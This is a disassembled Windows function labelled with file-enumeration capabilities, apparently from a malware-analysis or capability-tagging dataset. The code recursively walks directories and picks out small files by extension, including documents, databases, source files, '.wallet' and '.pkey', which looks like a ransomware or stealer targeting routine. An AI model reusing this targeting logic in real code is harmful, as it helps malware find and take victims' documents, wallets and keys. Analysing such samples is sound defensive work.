Function at 0x140040b5c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7a0]
sub rsp, 0x8a0
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
lea rdx, str._s
lea rcx, [rbp + 0x590]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140040d6c
test byte [rsp + 0x20], 0x10
jne 0x140040d7f
test byte [rsp + 0x20], 2
jne 0x140040d7f
mov eax, dword [rsp + 0x40]
mov dword [rbp + 0x7d0], eax
mov eax, dword [rsp + 0x3c]
mov dword [rbp + 0x7d4], eax
cmp qword [rbp + 0x7d0], 0x1f40
jge 0x140040d4d
lea r9, [rsp + 0x4c]
lea rdx, [0x14005bc58]
lea rcx, [rbp + 0x380]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x380]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
lea rdx, str..txt
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..jpg
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..pdf
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..docx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..csv
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..sql
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, [0x14005bcc8]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, [0x14005bcd0]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..cpp
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, [0x14005bce4]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..dat
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..wallet
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140040d37
lea rdx, str..pkey
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x140040d46
lea rcx, [rbp + 0x380]
mov rdx, rsi
call fcn.140040e14
mov rbx, qword [rbp + 0x7c0]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140040bb4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x8c8]
add rsp, 0x8a0
pop rdi
pop rsi
pop rbp
ret
movzx ecx, word [rsp + 0x4c]
movzx eax, word [rsp + 0x4e]
cmp cx, word [0x140059ea4]
jne 0x140040d9b
cmp ax, word [0x140059ea6]
je 0x140040d4d
cmp cx, word [0x14005bd1c]
jne 0x140040dbb
cmp ax, word [0x14005bd1e]
jne 0x140040dbb
movzx eax, word [rsp + 0x50]
cmp ax, word [0x14005bd20]
je 0x140040d4d
lea rcx, [rsp + 0x4c]
call fcn.140040e7c
test al, al
jne 0x140040d4d
lea r9, [rsp + 0x4c]
lea rdx, str._s_s
lea rcx, [rbp + 0x170]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x170]
call fcn.140040f24
test al, al
je 0x140040d4d
lea rcx, [rbp + 0x170]
mov rdx, rsi
call fcn.140040b5c
jmp 0x140040d4d